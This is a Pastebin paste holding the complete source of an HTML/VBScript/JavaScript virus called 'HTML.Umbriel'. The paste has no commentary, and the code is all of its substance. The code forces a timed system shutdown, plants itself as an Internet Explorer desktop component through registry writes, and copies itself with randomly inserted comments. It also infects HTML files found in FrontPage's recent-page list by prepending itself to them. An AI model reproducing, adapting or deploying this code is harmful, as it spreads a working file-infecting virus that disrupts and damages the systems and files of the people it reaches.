Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <html><!--Umbriel-->
- <head>
- <title> Second Part To Hell's HTML.Umbriel </title>
- </head>
- <body>
- <script language="VBScript">
- rem VBS
- On Error Resume Next
- Dim fso, shell, wrte, tempdir, windir, rand, file
- Set fso=CreateObject("Scripting.FileSystemObject")
- Set shell=CreateObject("Wscript.Shell")
- if err.number=429 Then
- shell.Run javascript:location.reload()
- End If
- Set windir=fso.GetSpecialFolder(0)
- Set tempdir=fso.GetSpecialFolder(2)
- Set wrte=fso.CreateTextFile(windir+"\windows.cmd")
- wrte.WriteLine "cls"
- wrte.WriteLine "@echo off"
- wrte.WriteLine "shutdown -s -f -t 300 -c "+chr(34)+"Second Part To Hell's Umbriel has you..."+chr(34)
- wrte.Close()
- shell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\Components\1\Source", "C:\umbriel.html"
- shell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\Components\1\SubscribedURL", "C:\umbriel.html"
- Randomize
- rand=int(rnd*5)+1
- If rand=1 then
- shell.Run windir+"\windows.cmd"
- End If
- </script>
- <script language="JavaScript">
- // JS
- var viruspath, virus, code, fso, file, check, checka, checkb
- fso=new ActiveXObject("Scripting.FileSystemObject")
- viruspath=window.location.pathname
- viruspath=viruspath.slice(1)
- virus=fso.OpenTextFile(viruspath,1)
- file=fso.CreateTextFile("C:\\umbriel.html")
- for (i=0; i<500; i++)
- {
- if (checkb!=1)
- {
- if (Math.round(Math.random()*5)+1 == 3)
- {
- if (check == 2)
- {
- file.WriteLine("/"+"*")
- file.WriteLine("*"+"/")
- }
- if (check == 3)
- {
- file.WriteLine("rem")
- }
- }
- code=virus.ReadLine()
- if (code == "/"+"*") { checka=666 }
- if (code == "*"+"/") { checka=666 }
- if (code == "rem") { checka=666 }
- if (checka != 666 ) { file.WriteLine(code) }
- checka=0
- if (code=="</"+unescape("%68")+"tml>") { checkb=1 }
- if (code=="// JS") { check=2 }
- if (code=="rem VBS") { check=3 }
- if (code=="</"+unescape("%73")+"cript>") { check=0 }
- }
- }
- virus.Close();
- file.Close();
- </script>
- <script language="VBScript">
- rem VBS
- On Error Resume Next
- set fso=CreateObject("Scripting.FileSystemObject")
- set shell=CreateObject("WScript.Shell")
- set myfile=fso.OpenTextFile("C:\umbriel.html")
- mycode=myfile.ReadAll
- myfile.Close()
- rr=shell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File1")
- if rr <> "" Then Call Umbriel(rr, mycode)
- rr=shell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File2")
- if rr <> "" Then Call Umbriel(rr, mycode)
- rr=shell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File3")
- if rr <> "" Then Call Umbriel(rr, mycode)
- rr=shell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File4")
- if rr <> "" Then Call Umbriel(rr, mycode)
- rr=shell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File5")
- if rr <> "" Then Call Umbriel(rr, mycode)
- Sub Umbriel(rr, mycode)
- set victim=fso.OpenTextFile(rr)
- infcheck=victim.ReadLine
- If infcheck<>"<html><!--Umbriel-->" Then
- viccode=victim.ReadAll
- victim.Close()
- set wrtevic=fso.OpenTextFile(rr, 2, false, 0)
- wrtevic.Write (mycode+infcheck+chr(13)+chr(10)+viccode)
- wrtevic.Close
- End If
- End Sub
- </script>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement